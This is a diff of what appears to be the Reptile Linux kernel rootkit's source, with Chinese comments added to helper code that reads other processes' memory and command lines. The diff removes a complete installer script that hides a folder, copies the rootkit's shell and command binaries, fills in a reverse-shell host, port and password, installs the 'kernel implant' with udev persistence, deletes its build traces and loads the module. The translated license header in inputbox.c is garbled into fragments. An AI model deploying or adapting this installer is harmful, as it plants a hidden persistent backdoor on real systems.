if (flags & ESCAPE_SPACE && escape_space(c, &p, end)) if (flags & ESCAPE_SPACE && escape_space(c, &p, end))
continue; continue;
@ -186,7 +190,7 @@ int string_escape_mem(const char *src, size_t isz, char *dst, size_t osz,
if (flags & ESCAPE_NULL && escape_null(c, &p, end)) if (flags & ESCAPE_NULL && escape_null(c, &p, end))
continue; continue;
/* ESCAPE_OCTAL and ESCAPE_HEX always go last */ /* ESCAPE_OCTAL 和 ESCAPE_HEX 总是最后处理 */
if (flags & ESCAPE_OCTAL && escape_octal(c, &p, end)) if (flags & ESCAPE_OCTAL && escape_octal(c, &p, end))
continue; continue;
@ -194,12 +198,13 @@ int string_escape_mem(const char *src, size_t isz, char *dst, size_t osz,
continue; continue;
} }
escape_passthrough(c, &p, end); escape_passthrough(c, &p, end); // 直接通过字符
} }
return p - dst; return p - dst; // 返回处理后的字符串长度
} }
// 复制并转义字符串
char *kstrdup_quotable(const char *src, gfp_t gfp) char *kstrdup_quotable(const char *src, gfp_t gfp)
{ {
size_t slen, dlen; size_t slen, dlen;
@ -211,52 +216,54 @@ char *kstrdup_quotable(const char *src, gfp_t gfp)
return NULL; return NULL;
slen = strlen(src); slen = strlen(src);
dlen = string_escape_mem(src, slen, NULL, 0, flags, esc); dlen = string_escape_mem(src, slen, NULL, 0, flags, esc); // 计算转义后的长度
dst = kmalloc(dlen + 1, gfp); dst = kmalloc(dlen + 1, gfp); // 分配内存
if (!dst) if (!dst)
return NULL; return NULL;
WARN_ON(string_escape_mem(src, slen, dst, dlen, flags, esc) != dlen); WARN_ON(string_escape_mem(src, slen, dst, dlen, flags, esc) != dlen); // 转义字符串
dst[dlen] = '\0'; dst[dlen] = '\0'; // 添加字符串结束符
return dst; return dst;
} }
#include "util.h" #include "util.h"
// 复制并转义命令行字符串
char *kstrdup_quotable_cmdline(struct task_struct *task, gfp_t gfp) char *kstrdup_quotable_cmdline(struct task_struct *task, gfp_t gfp)
{ {
char *buffer, *quoted; char *buffer, *quoted;
int i, res; int i, res;
buffer = kmalloc(PAGE_SIZE, GFP_KERNEL); buffer = kmalloc(PAGE_SIZE, GFP_KERNEL); // 分配内存
if (!buffer) if (!buffer)
return NULL; return NULL;
res = get_cmdline(task, buffer, PAGE_SIZE - 1); res = get_cmdline(task, buffer, PAGE_SIZE - 1); // 获取命令行
buffer[res] = '\0'; buffer[res] = '\0'; // 添加字符串结束符
/* Collapse trailing NULLs, leave res pointing to last non-NULL. */ /* 折叠尾随的 NULL保留 res 指向最后一个非 NULL。 */
while (--res >= 0 && buffer[res] == '\0') while (--res >= 0 && buffer[res] == '\0')
; ;
/* Replace inter-argument NULLs. */ /* 替换参数之间的 NULL。 */
for (i = 0; i <= res; i++) for (i = 0; i <= res; i++)
if (buffer[i] == '\0') if (buffer[i] == '\0')
buffer[i] = ' '; buffer[i] = ' ';
/* Make sure result is printable. */ /* 确保结果是可打印的。 */
quoted = kstrdup_quotable(buffer, gfp); quoted = kstrdup_quotable(buffer, gfp); // 转义字符串
kfree(buffer); kfree(buffer); // 释放内存
return quoted; return quoted;
} }
#if LINUX_VERSION_CODE < KERNEL_VERSION(4, 2, 0) #if LINUX_VERSION_CODE < KERNEL_VERSION(4, 2, 0)
// 替换字符串中的字符
char *strreplace(char *s, char old, char new) char *strreplace(char *s, char old, char new)
{ {
for (; *s; ++s) for (; *s; ++s)
if (*s == old) if (*s == old)
*s = new; *s = new; // 替换字符
return s; return s;
} }

@ -1,115 +1,120 @@
#include <linux/kmod.h> #include <linux/kmod.h> // 包含内核模块相关的头文件
#include <linux/kallsyms.h> #include <linux/kallsyms.h> // 包含内核符号表相关的头文件
#include <linux/types.h> #include <linux/types.h> // 包含内核类型定义的头文件
#include <linux/slab.h> #include <linux/slab.h> // 包含内核内存分配相关的头文件
#include <linux/mm.h> #include <linux/mm.h> // 包含内存管理相关的头文件
#include <linux/sched.h> #include <linux/sched.h> // 包含调度相关的头文件
#include <linux/version.h> #include <linux/version.h> // 包含内核版本相关的头文件
#include <linux/ctype.h> #include <linux/ctype.h> // 包含字符类型相关的头文件
#if LINUX_VERSION_CODE >= KERNEL_VERSION(4, 11, 0) #if LINUX_VERSION_CODE >= KERNEL_VERSION(4, 11, 0)
# include <linux/sched/mm.h> # include <linux/sched/mm.h> // 包含调度和内存管理相关的头文件仅在内核版本4.11.0及以上)
#endif #endif
#include "util.h" #include "util.h" // 包含自定义的util头文件
// 声明一个函数指针,用于访问进程虚拟内存
asmlinkage int (*_access_process_vm)(struct task_struct *, unsigned long, void *, int, int); asmlinkage int (*_access_process_vm)(struct task_struct *, unsigned long, void *, int, int);
int util_init(void) int util_init(void)
{ {
#if LINUX_VERSION_CODE >= KERNEL_VERSION(4, 11, 0) #if LINUX_VERSION_CODE >= KERNEL_VERSION(4, 11, 0)
_access_process_vm = (void *) access_process_vm; // 在内核版本4.11.0及以上直接使用access_process_vm函数
_access_process_vm = (void *) access_process_vm;
#else #else
// 在内核版本4.11.0以下通过符号表查找access_process_vm函数
_access_process_vm = (void *) ksym_lookup_name("access_process_vm"); _access_process_vm = (void *) ksym_lookup_name("access_process_vm");
#endif #endif
if (!_access_process_vm) // 如果函数指针为空,返回错误
if (!_access_process_vm)
return -EFAULT; return -EFAULT;
return 0; return 0; // 初始化成功返回0
} }
/* stolen from mm/util.c */ /* 从mm/util.c文件中借用的函数 */
// 获取进程的命令行参数
int get_cmdline(struct task_struct *task, char *buffer, int buflen) int get_cmdline(struct task_struct *task, char *buffer, int buflen)
{ {
int res = 0; int res = 0; // 初始化返回值
unsigned int len; unsigned int len; // 命令行参数的长度
struct mm_struct *mm = get_task_mm(task); struct mm_struct *mm = get_task_mm(task); // 获取进程的内存描述符
unsigned long arg_start, arg_end, env_start, env_end; unsigned long arg_start, arg_end, env_start, env_end; // 命令行参数和环境变量的起始和结束地址
if (!mm)
if (!mm) // 如果内存描述符为空跳转到out标签
goto out; goto out;
if (!mm->arg_end) if (!mm->arg_end) // 如果命令行参数的结束地址为空跳转到out_mm标签
goto out_mm; goto out_mm;
down_read(&mm->mmap_sem); down_read(&mm->mmap_sem); // 获取内存描述符的读锁
arg_start = mm->arg_start; arg_start = mm->arg_start; // 获取命令行参数的起始地址
arg_end = mm->arg_end; arg_end = mm->arg_end; // 获取命令行参数的结束地址
env_start = mm->env_start; env_start = mm->env_start; // 获取环境变量的起始地址
env_end = mm->env_end; env_end = mm->env_end; // 获取环境变量的结束地址
up_read(&mm->mmap_sem); up_read(&mm->mmap_sem); // 释放内存描述符的读锁
len = arg_end - arg_start; len = arg_end - arg_start; // 计算命令行参数的长度
if (len > buflen) if (len > buflen) // 如果长度大于缓冲区长度,截断长度
len = buflen; len = buflen;
// 读取进程的命令行参数到缓冲区
res = _access_process_vm(task, arg_start, buffer, len, FOLL_FORCE); res = _access_process_vm(task, arg_start, buffer, len, FOLL_FORCE);
/* // 如果命令行参数的末尾被覆盖假设应用程序使用了setproctitle(3)
* If the nul at the end of args has been overwritten, then
* assume application is using setproctitle(3).
*/
if (res > 0 && buffer[res-1] != '\0' && len < buflen) { if (res > 0 && buffer[res-1] != '\0' && len < buflen) {
len = strnlen(buffer, res); len = strnlen(buffer, res); // 获取缓冲区的实际长度
if (len < res) { if (len < res) {
res = len; res = len; // 更新返回值
} else { } else {
len = env_end - env_start; len = env_end - env_start; // 计算环境变量的长度
if (len > buflen - res) if (len > buflen - res) // 如果长度大于剩余缓冲区长度,截断长度
len = buflen - res; len = buflen - res;
// 读取进程的环境变量到缓冲区
res += _access_process_vm(task, env_start, buffer+res, len, FOLL_FORCE); res += _access_process_vm(task, env_start, buffer+res, len, FOLL_FORCE);
res = strnlen(buffer, res); res = strnlen(buffer, res); // 获取缓冲区的实际长度
} }
} }
out_mm: out_mm:
mmput(mm); mmput(mm); // 释放内存描述符
out: out:
return res; return res; // 返回读取的长度
} }
/* /*
static int count_argc(const char *str) static int count_argc(const char *str)
{ {
int count = 0; int count = 0; // 初始化参数计数
bool was_space; bool was_space; // 标记上一个字符是否为空格
for (was_space = true; *str; str++) { for (was_space = true; *str; str++) {
if (isspace(*str)) { if (isspace(*str)) { // 如果当前字符为空格
was_space = true; was_space = true; // 更新标记
} else if (was_space) { } else if (was_space) { // 如果当前字符不是空格且上一个字符为空格
was_space = false; was_space = false; // 更新标记
count++; count++; // 增加参数计数
} }
} }
return count; return count; // 返回参数计数
} }
int run_cmd(const char *cmd) int run_cmd(const char *cmd)
{ {
char **argv; char **argv; // 参数数组
int ret; int ret; // 返回值
int i; int i; // 循环变量
argv = argv_split(GFP_KERNEL, cmd, NULL); argv = argv_split(GFP_KERNEL, cmd, NULL); // 分割命令行参数
if (argv) { if (argv) {
ret = exec(argv); ret = exec(argv); // 执行命令
argv_free(argv); argv_free(argv); // 释放参数数组
} else { } else {
ret = -ENOMEM; ret = -ENOMEM; // 内存分配失败,返回错误
} }
return ret; return ret; // 返回执行结果
} }
*/ */

@ -1,65 +0,0 @@
#!/bin/bash
function random_gen_dec {
RETVAL=$(shuf -i 50-99 -n 1)
}
PWD="$(cd "$(dirname ${BASH_SOURCE[0]})" && pwd)"
[ $? -ne 0 ] && PWD="$(cd "$(dirname $0)" && pwd)"
source "${BASH_SOURCE%/*}/../.config" || \
{ echo "Error: no .config file found!"; exit; }
UDEV_DIR=/lib/udev
random_gen_dec && NAME=$RETVAL-$HIDE.rules
RULE=/lib/udev/rules.d/$NAME
[ ! -d /lib/udev/rules.d ] && RULE=/etc/udev/rules.d/$NAME
# Create Reptile's folder
mkdir -p /$HIDE && \
# Copy "cmd" binary
cp $PWD/../output/cmd /$HIDE/$HIDE"_cmd" && \
# Copy "shell" binary
cp $PWD/../output/shell /$HIDE/$HIDE"_shell" && \
# Copy "bashrc"
cp $PWD/../scripts/bashrc /$HIDE/$HIDE"_rc" && \
# Create start script
cp $PWD/../scripts/start /$HIDE/$HIDE"_start" && \
sed -i s!XXXXX!$TAG_NAME! /$HIDE/$HIDE"_start" && \
sed -i s!\#CMD!/$HIDE/$HIDE"_cmd"! /$HIDE/$HIDE"_start" && \
if [ "$CONFIG_RSHELL_ON_START" == "y" ]; then
sed -i s!\#SHELL!/$HIDE/$HIDE"_shell"! /$HIDE/$HIDE"_start" && \
sed -i s!LHOST!$LHOST! /$HIDE/$HIDE"_start" && \
sed -i s!LPORT!$LPORT! /$HIDE/$HIDE"_start" && \
sed -i s!PASS!$PASSWORD! /$HIDE/$HIDE"_start" && \
sed -i s!INTERVAL!$INTERVAL! /$HIDE/$HIDE"_start" && \
true || false;
fi
# Permissions
chmod 777 /$HIDE/* && \
# Copy kernel implant
cp $PWD/../output/reptile /$HIDE/$HIDE && \
# Make persistent
cp $PWD/../output/reptile $UDEV_DIR/$HIDE && \
cp $PWD/../scripts/rule $RULE && \
# cleaning output dir
rm -rf $PWD/../output && \
# Load Reptile
/$HIDE/$HIDE && \
echo -e "\n\e[44;01;33m*** DONE! ***\e[00m\n" || { echo -e "\e[01;31mERROR!\e[00m\n"; exit; }
# How to Uninstall
echo -e "UNINSTALL:\n"
echo -e "/$HIDE/$HIDE""_cmd show"
echo -e "rmmod reptile_module"
echo -e "rm -rf /$HIDE $RULE $UDEV_DIR/$HIDE"
echo

@ -17,456 +17,473 @@
#include "lkc.h" #include "lkc.h"
// 定义警告信息输出函数
static void conf_warning(const char *fmt, ...) static void conf_warning(const char *fmt, ...)
__attribute__ ((format (printf, 1, 2))); __attribute__ ((format (printf, 1, 2)));
// 定义普通信息输出函数
static void conf_message(const char *fmt, ...) static void conf_message(const char *fmt, ...)
__attribute__ ((format (printf, 1, 2))); __attribute__ ((format (printf, 1, 2)));
// 配置文件名
static const char *conf_filename; static const char *conf_filename;
// 当前行号
static int conf_lineno, conf_warnings, conf_unsaved; static int conf_lineno, conf_warnings, conf_unsaved;
// 默认配置文件名
const char conf_defname[] = ".defconfig"; const char conf_defname[] = ".defconfig";
// 输出警告信息
static void conf_warning(const char *fmt, ...) static void conf_warning(const char *fmt, ...)
{ {
va_list ap; va_list ap;
va_start(ap, fmt); va_start(ap, fmt);
fprintf(stderr, "%s:%d:warning: ", conf_filename, conf_lineno); fprintf(stderr, "%s:%d:warning: ", conf_filename, conf_lineno);
vfprintf(stderr, fmt, ap); vfprintf(stderr, fmt, ap);
fprintf(stderr, "\n"); fprintf(stderr, "\n");
va_end(ap); va_end(ap);
conf_warnings++; conf_warnings++;
} }
// 默认的消息回调函数
static void conf_default_message_callback(const char *fmt, va_list ap) static void conf_default_message_callback(const char *fmt, va_list ap)
{ {
printf("#\n# "); printf("#\n# ");
vprintf(fmt, ap); vprintf(fmt, ap);
printf("\n#\n"); printf("\n#\n");
} }
// 消息回调函数指针
static void (*conf_message_callback) (const char *fmt, va_list ap) = static void (*conf_message_callback) (const char *fmt, va_list ap) =
conf_default_message_callback; conf_default_message_callback;
// 设置消息回调函数
void conf_set_message_callback(void (*fn) (const char *fmt, va_list ap)) void conf_set_message_callback(void (*fn) (const char *fmt, va_list ap))
{ {
conf_message_callback = fn; conf_message_callback = fn;
} }
// 输出消息信息
static void conf_message(const char *fmt, ...) static void conf_message(const char *fmt, ...)
{ {
va_list ap; va_list ap;
va_start(ap, fmt); va_start(ap, fmt);
if (conf_message_callback) if (conf_message_callback)
conf_message_callback(fmt, ap); conf_message_callback(fmt, ap);
} }
// 获取配置文件名
const char *conf_get_configname(void) const char *conf_get_configname(void)
{ {
char *name = getenv(PRODUCT_ENV"_CONFIG"); char *name = getenv(PRODUCT_ENV"_CONFIG");
return name ? name : ".config"; return name ? name : ".config";
} }
// 获取自动配置文件名
const char *conf_get_autoconfig_name(void) const char *conf_get_autoconfig_name(void)
{ {
return getenv(PRODUCT_ENV"_AUTOCONFIG"); return getenv(PRODUCT_ENV"_AUTOCONFIG");
} }
// 展开配置值中的变量
static char *conf_expand_value(const char *in) static char *conf_expand_value(const char *in)
{ {
struct symbol *sym; struct symbol *sym;
const char *src; const char *src;
static char res_value[SYMBOL_MAXLENGTH]; static char res_value[SYMBOL_MAXLENGTH];
char *dst, name[SYMBOL_MAXLENGTH]; char *dst, name[SYMBOL_MAXLENGTH];
res_value[0] = 0; res_value[0] = 0;
dst = name; dst = name;
while ((src = strchr(in, '$'))) { while ((src = strchr(in, '$'))) {
strncat(res_value, in, src - in); strncat(res_value, in, src - in);
src++; src++;
dst = name; dst = name;
while (isalnum(*src) || *src == '_') while (isalnum(*src) || *src == '_')
*dst++ = *src++; *dst++ = *src++;
*dst = 0; *dst = 0;
sym = sym_lookup(name, 0); sym = sym_lookup(name, 0);
sym_calc_value(sym); sym_calc_value(sym);
strcat(res_value, sym_get_string_value(sym)); strcat(res_value, sym_get_string_value(sym));
in = src; in = src;
} }
strcat(res_value, in); strcat(res_value, in);
return res_value; return res_value;
} }
// 获取默认配置文件名
char *conf_get_default_confname(void) char *conf_get_default_confname(void)
{ {
struct stat buf; struct stat buf;
static char fullname[PATH_MAX+1]; static char fullname[PATH_MAX+1];
char *env, *name; char *env, *name;
name = conf_expand_value(conf_defname); name = conf_expand_value(conf_defname);
env = getenv(SRCTREE); env = getenv(SRCTREE);
if (env) { if (env) {
sprintf(fullname, "%s/%s", env, name); sprintf(fullname, "%s/%s", env, name);
if (!stat(fullname, &buf)) if (!stat(fullname, &buf))
return fullname; return fullname;
} }
return name; return name;
} }
// 设置符号值
static int conf_set_sym_val(struct symbol *sym, int def, int def_flags, char *p) static int conf_set_sym_val(struct symbol *sym, int def, int def_flags, char *p)
{ {
char *p2; char *p2;
switch (sym->type) { switch (sym->type) {
case S_TRISTATE: case S_TRISTATE:
if (p[0] == 'm') { if (p[0] == 'm') {
sym->def[def].tri = mod; sym->def[def].tri = mod;
sym->flags |= def_flags; sym->flags |= def_flags;
break; break;
} }
/* fall through */ // 跌落至下一个case
case S_BOOLEAN: case S_BOOLEAN:
if (p[0] == 'y') { if (p[0] == 'y') {
sym->def[def].tri = yes; sym->def[def].tri = yes;
sym->flags |= def_flags; sym->flags |= def_flags;
break; break;
} }
if (p[0] == 'n') { if (p[0] == 'n') {
sym->def[def].tri = no; sym->def[def].tri = no;
sym->flags |= def_flags; sym->flags |= def_flags;
break; break;
} }
if (def != S_DEF_AUTO) if (def != S_DEF_AUTO)
conf_warning("symbol value '%s' invalid for %s", conf_warning("symbol value '%s' invalid for %s",
p, sym->name); p, sym->name);
return 1; return 1;
case S_OTHER: case S_OTHER:
if (*p != '"') { if (*p != '"') {
for (p2 = p; *p2 && !isspace(*p2); p2++) for (p2 = p; *p2 && !isspace(*p2); p2++)
; ;
sym->type = S_STRING; sym->type = S_STRING;
goto done; goto done;
} }
/* fall through */ // 跌落至下一个case
case S_STRING: case S_STRING:
if (*p++ != '"') if (*p++ != '"')
break; break;
for (p2 = p; (p2 = strpbrk(p2, "\"\\")); p2++) { for (p2 = p; (p2 = strpbrk(p2, "\"\\")); p2++) {
if (*p2 == '"') { if (*p2 == '"') {
*p2 = 0; *p2 = 0;
break; break;
} }
memmove(p2, p2 + 1, strlen(p2)); memmove(p2, p2 + 1, strlen(p2));
} }
if (!p2) { if (!p2) {
if (def != S_DEF_AUTO) if (def != S_DEF_AUTO)
conf_warning("invalid string found"); conf_warning("invalid string found");
return 1; return 1;
} }
/* fall through */ // 跌落至下一个case
case S_INT: case S_INT:
case S_HEX: case S_HEX:
done: done:
if (sym_string_valid(sym, p)) { if (sym_string_valid(sym, p)) {
sym->def[def].val = strdup(p); sym->def[def].val = strdup(p);
sym->flags |= def_flags; sym->flags |= def_flags;
} else { } else {
if (def != S_DEF_AUTO) if (def != S_DEF_AUTO)
conf_warning("symbol value '%s' invalid for %s", conf_warning("symbol value '%s' invalid for %s",
p, sym->name); p, sym->name);
return 1; return 1;
} }
break; break;
default: default:
; ;
} }
return 0; return 0;
} }
// 增加字节到行缓冲区
#define LINE_GROWTH 16 #define LINE_GROWTH 16
static int add_byte(int c, char **lineptr, size_t slen, size_t *n) static int add_byte(int c, char **lineptr, size_t slen, size_t *n)
{ {
char *nline; char *nline;
size_t new_size = slen + 1; size_t new_size = slen + 1;
if (new_size > *n) { if (new_size > *n) {
new_size += LINE_GROWTH - 1; new_size += LINE_GROWTH - 1;
new_size *= 2; new_size *= 2;
nline = realloc(*lineptr, new_size); nline = realloc(*lineptr, new_size);
if (!nline) if (!nline)
return -1; return -1;
*lineptr = nline; *lineptr = nline;
*n = new_size; *n = new_size;
} }
(*lineptr)[slen] = c; (*lineptr)[slen] = c;
return 0; return 0;
} }
// 兼容getline函数
static ssize_t compat_getline(char **lineptr, size_t *n, FILE *stream) static ssize_t compat_getline(char **lineptr, size_t *n, FILE *stream)
{ {
char *line = *lineptr; char *line = *lineptr;
size_t slen = 0; size_t slen = 0;
for (;;) { for (;;) {
int c = getc(stream); int c = getc(stream);
switch (c) { switch (c) {
case '\n': case '\n':
if (add_byte(c, &line, slen, n) < 0) if (add_byte(c, &line, slen, n) < 0)
goto e_out; goto e_out;
slen++; slen++;
/* fall through */ // 跌落至下一个case
case EOF: case EOF:
if (add_byte('\0', &line, slen, n) < 0) if (add_byte('\0', &line, slen, n) < 0)
goto e_out; goto e_out;
*lineptr = line; *lineptr = line;
if (slen == 0) if (slen == 0)
return -1; return -1;
return slen; return slen;
default: default:
if (add_byte(c, &line, slen, n) < 0) if (add_byte(c, &line, slen, n) < 0)
goto e_out; goto e_out;
slen++; slen++;
} }
} }
e_out: e_out:
line[slen-1] = '\0'; line[slen-1] = '\0';
*lineptr = line; *lineptr = line;
return -1; return -1;
} }
// 读取简单的配置文件
int conf_read_simple(const char *name, int def) int conf_read_simple(const char *name, int def)
{ {
FILE *in = NULL; FILE *in = NULL;
char *line = NULL; char *line = NULL;
size_t line_asize = 0; size_t line_asize = 0;
char *p, *p2; char *p, *p2;
struct symbol *sym; struct symbol *sym;
int i, def_flags; int i, def_flags;
if (name) { if (name) {
in = zconf_fopen(name); in = zconf_fopen(name);
} else { } else {
struct property *prop; struct property *prop;
name = conf_get_configname(); name = conf_get_configname();
in = zconf_fopen(name); in = zconf_fopen(name);
if (in) if (in)
goto load; goto load;
sym_add_change_count(1); sym_add_change_count(1);
if (!sym_defconfig_list) { if (!sym_defconfig_list) {
if (modules_sym) if (modules_sym)
sym_calc_value(modules_sym); sym_calc_value(modules_sym);
return 1; return 1;
} }
for_all_defaults(sym_defconfig_list, prop) { for_all_defaults(sym_defconfig_list, prop) {
if (expr_calc_value(prop->visible.expr) == no || if (expr_calc_value(prop->visible.expr) == no ||
prop->expr->type != E_SYMBOL) prop->expr->type != E_SYMBOL)
continue; continue;
name = conf_expand_value(prop->expr->left.sym->name); name = conf_expand_value(prop->expr->left.sym->name);
in = zconf_fopen(name); in = zconf_fopen(name);
if (in) { if (in) {
conf_message(_("using defaults found in %s"), conf_message(_("using defaults found in %s"),
name); name);
goto load; goto load;
} }
} }
} }
if (!in) if (!in)
return 1; return 1;
load: load:
conf_filename = name; conf_filename = name;
conf_lineno = 0; conf_lineno = 0;
conf_warnings = 0; conf_warnings = 0;
conf_unsaved = 0; conf_unsaved = 0;
def_flags = SYMBOL_DEF << def; def_flags = SYMBOL_DEF << def;
for_all_symbols(i, sym) { for_all_symbols(i, sym) {
sym->flags |= SYMBOL_CHANGED; sym->flags |= SYMBOL_CHANGED;
sym->flags &= ~(def_flags|SYMBOL_VALID); sym->flags &= ~(def_flags|SYMBOL_VALID);
if (sym_is_choice(sym)) if (sym_is_choice(sym))
sym->flags |= def_flags; sym->flags |= def_flags;
switch (sym->type) { switch (sym->type) {
case S_INT: case S_INT:
case S_HEX: case S_HEX:
case S_STRING: case S_STRING:
if (sym->def[def].val) if (sym->def[def].val)
free(sym->def[def].val); free(sym->def[def].val);
/* fall through */ // 跌落至下一个case
default: default:
sym->def[def].val = NULL; sym->def[def].val = NULL;
sym->def[def].tri = no; sym->def[def].tri = no;
} }
} }
while (compat_getline(&line, &line_asize, in) != -1) { while (compat_getline(&line, &line_asize, in) != -1) {
conf_lineno++; conf_lineno++;
sym = NULL; sym = NULL;
if (line[0] == '#') { if (line[0] == '#') {
if (memcmp(line + 2, CONFIG_, strlen(CONFIG_))) if (memcmp(line + 2, CONFIG_, strlen(CONFIG_)))
continue; continue;
p = strchr(line + 2 + strlen(CONFIG_), ' '); p = strchr(line + 2 + strlen(CONFIG_), ' ');
if (!p) if (!p)
continue; continue;
*p++ = 0; *p++ = 0;
if (strncmp(p, "is not set", 10)) if (strncmp(p, "is not set", 10))
continue; continue;
if (def == S_DEF_USER) { if (def == S_DEF_USER) {
sym = sym_find(line + 2 + strlen(CONFIG_)); sym = sym_find(line + 2 + strlen(CONFIG_));
if (!sym) { if (!sym) {
sym_add_change_count(1); sym_add_change_count(1);
goto setsym; goto setsym;
} }
} else { } else {
sym = sym_lookup(line + 2 + strlen(CONFIG_), 0); sym = sym_lookup(line + 2 + strlen(CONFIG_), 0);
if (sym->type == S_UNKNOWN) if (sym->type == S_UNKNOWN)
sym->type = S_BOOLEAN; sym->type = S_BOOLEAN;
} }
if (sym->flags & def_flags) { if (sym->flags & def_flags) {
conf_warning("override: reassigning to symbol %s", sym->name); conf_warning("override: reassigning to symbol %s", sym->name);
} }
switch (sym->type) { switch (sym->type) {
case S_BOOLEAN: case S_BOOLEAN:
case S_TRISTATE: case S_TRISTATE:
sym->def[def].tri = no; sym->def[def].tri = no;
sym->flags |= def_flags; sym->flags |= def_flags;
break; break;
default: default:
; ;
} }
} else if (memcmp(line, CONFIG_, strlen(CONFIG_)) == 0) { } else if (memcmp(line, CONFIG_, strlen(CONFIG_)) == 0) {
p = strchr(line + strlen(CONFIG_), '='); p = strchr(line + strlen(CONFIG_), '=');
if (!p) if (!p)
continue; continue;
*p++ = 0; *p++ = 0;
p2 = strchr(p, '\n'); p2 = strchr(p, '\n');
if (p2) { if (p2) {
*p2-- = 0; *p2-- = 0;
if (*p2 == '\r') if (*p2 == '\r')
*p2 = 0; *p2 = 0;
} }
if (def == S_DEF_USER) { if (def == S_DEF_USER) {
sym = sym_find(line + strlen(CONFIG_)); sym = sym_find(line + strlen(CONFIG_));
if (!sym) { if (!sym) {
sym_add_change_count(1); sym_add_change_count(1);
goto setsym; goto setsym;
} }
} else { } else {
sym = sym_lookup(line + strlen(CONFIG_), 0); sym = sym_lookup(line + strlen(CONFIG_), 0);
if (sym->type == S_UNKNOWN) if (sym->type == S_UNKNOWN)
sym->type = S_OTHER; sym->type = S_OTHER;
} }
if (sym->flags & def_flags) { if (sym->flags & def_flags) {
conf_warning("override: reassigning to symbol %s", sym->name); conf_warning("override: reassigning to symbol %s", sym->name);
} }
if (conf_set_sym_val(sym, def, def_flags, p)) if (conf_set_sym_val(sym, def, def_flags, p))
continue; continue;
} else { } else {
if (line[0] != '\r' && line[0] != '\n') if (line[0] != '\r' && line[0] != '\n')
conf_warning("unexpected data"); conf_warning("unexpected data");
continue; continue;
} }
setsym: setsym:
if (sym && sym_is_choice_value(sym)) { if (sym && sym_is_choice_value(sym)) {
struct symbol *cs = prop_get_symbol(sym_get_choice_prop(sym)); struct symbol *cs = prop_get_symbol(sym_get_choice_prop(sym));
switch (sym->def[def].tri) { switch (sym->def[def].tri) {
case no: case no:
break; break;
case mod: case mod:
if (cs->def[def].tri == yes) { if (cs->def[def].tri == yes) {
conf_warning("%s creates inconsistent choice state", sym->name); conf_warning("%s creates inconsistent choice state", sym->name);
cs->flags &= ~def_flags; cs->flags &= ~def_flags;
} }
break; break;
case yes: case yes:
if (cs->def[def].tri != no) if (cs->def[def].tri != no)
conf_warning("override: %s changes choice state", sym->name); conf_warning("override: %s changes choice state", sym->name);
cs->def[def].val = sym; cs->def[def].val = sym;
break; break;
} }
cs->def[def].tri = EXPR_OR(cs->def[def].tri, sym->def[def].tri); cs->def[def].tri = EXPR_OR(cs->def[def].tri, sym->def[def].tri);
} }
} }
free(line); free(line);
fclose(in); fclose(in);
if (modules_sym) if (modules_sym)
sym_calc_value(modules_sym); sym_calc_value(modules_sym);
return 0; return 0;
} }
// 读取配置文件
int conf_read(const char *name) int conf_read(const char *name)
{ {
struct symbol *sym; struct symbol *sym;
int i; int i;
sym_set_change_count(0); sym_set_change_count(0);
if (conf_read_simple(name, S_DEF_USER)) if (conf_read_simple(name, S_DEF_USER))
return 1; return 1;
for_all_symbols(i, sym) { for_all_symbols(i, sym) {
sym_calc_value(sym); sym_calc_value(sym);
if (sym_is_choice(sym) || (sym->flags & SYMBOL_AUTO)) if (sym_is_choice(sym) || (sym->flags & SYMBOL_AUTO))
continue; continue;
if (sym_has_value(sym) && (sym->flags & SYMBOL_WRITE)) { if (sym_has_value(sym) && (sym->flags & SYMBOL_WRITE)) {
/* check that calculated value agrees with saved value */ // 检查计算值是否与保存值一致
switch (sym->type) { switch (sym->type) {
case S_BOOLEAN: case S_BOOLEAN:
case S_TRISTATE: case S_TRISTATE:
if (sym->def[S_DEF_USER].tri != sym_get_tristate_value(sym)) if (sym->def[S_DEF_USER].tri != sym_get_tristate_value(sym))
break; break;
if (!sym_is_choice(sym)) if (!sym_is_choice(sym))
continue; continue;
/* fall through */ // 跌落至下一个case
default: default:
if (!strcmp(sym->curr.val, sym->def[S_DEF_USER].val)) if (!strcmp(sym->curr.val, sym->def[S_DEF_USER].val))
continue; continue;
break; break;
} }
} else if (!sym_has_value(sym) && !(sym->flags & SYMBOL_WRITE)) } else if (!sym_has_value(sym) && !(sym->flags & SYMBOL_WRITE))
/* no previous value and not saved */ // 没有先前值且未保存
continue; continue;
conf_unsaved++; conf_unsaved++;
/* maybe print value in verbose mode... */ // 在详细模式下可能打印值...
} }
for_all_symbols(i, sym) { for_all_symbols(i, sym) {
if (sym_has_value(sym) && !sym_is_choice_value(sym)) { if (sym_has_value(sym) && !sym_is_choice_value(sym)) {
/* Reset values of generates values, so they'll appear // 重置生成值的值,以便它们在出现时会显示为新值,
* as new, if they should become visible, but that // 但如果Kconfig和保存的配置不一致则不起作用。
* doesn't quite work if the Kconfig and the saved if (sym->visible == no && !conf_unsaved)
* configuration disagree. sym->flags &= ~SYMBOL_DEF_USER;
*/ switch (sym->type) {
if (sym->visible == no && !conf_unsaved) case S_STRING:
sym->flags &= ~SYMBOL_DEF_USER; case S_INT:
switch (sym->type) { case S_HEX:
case S_STRING: // 如果字符串值超出范围,则重置字符串值
case S_INT: if (sym_string_within_range(sym, sym->def[S_DEF_USER].val))
case S_HEX: break;
/* Reset a string value if it's out of range */ sym->flags &= ~(SYMBOL_VALID|SYMBOL_DEF_USER);
if (sym_string_within_range(sym, sym->def[S_DEF_USER].val)) conf_unsaved++;
break; break;
sym->flags &= ~(SYMBOL_VALID|SYMBOL_DEF_USER); default:
conf_unsaved++; break;
break; }
default: }
break; }
}
} sym_add_change_count(conf_warnings || conf_unsaved);
}
return 0;
sym_add_change_count(conf_warnings || conf_unsaved);
return 0;
} }
/* /*

File diff suppressed because it is too large Load Diff

@ -1,301 +1,286 @@
/* /*
* inputbox.c -- implements the input box * inputbox.c --
* *
* ORIGINAL AUTHOR: Savio Lam (lam836@cs.cuhk.hk) * Savio Lam (lam836@cs.cuhk.hk)
* MODIFIED FOR LINUX KERNEL CONFIG BY: William Roadcap (roadcap@cfw.com) * Linux William Roadcap (roadcap@cfw.com)
* *
* This program is free software; you can redistribute it and/or * GNU / 2
* modify it under the terms of the GNU General Public License
* as published by the Free Software Foundation; either version 2
* of the License, or (at your option) any later version.
* *
* This program is distributed in the hope that it will be useful, * GNU
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
* *
* You should have received a copy of the GNU General Public License * GNU Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
* along with this program; if not, write to the Free Software
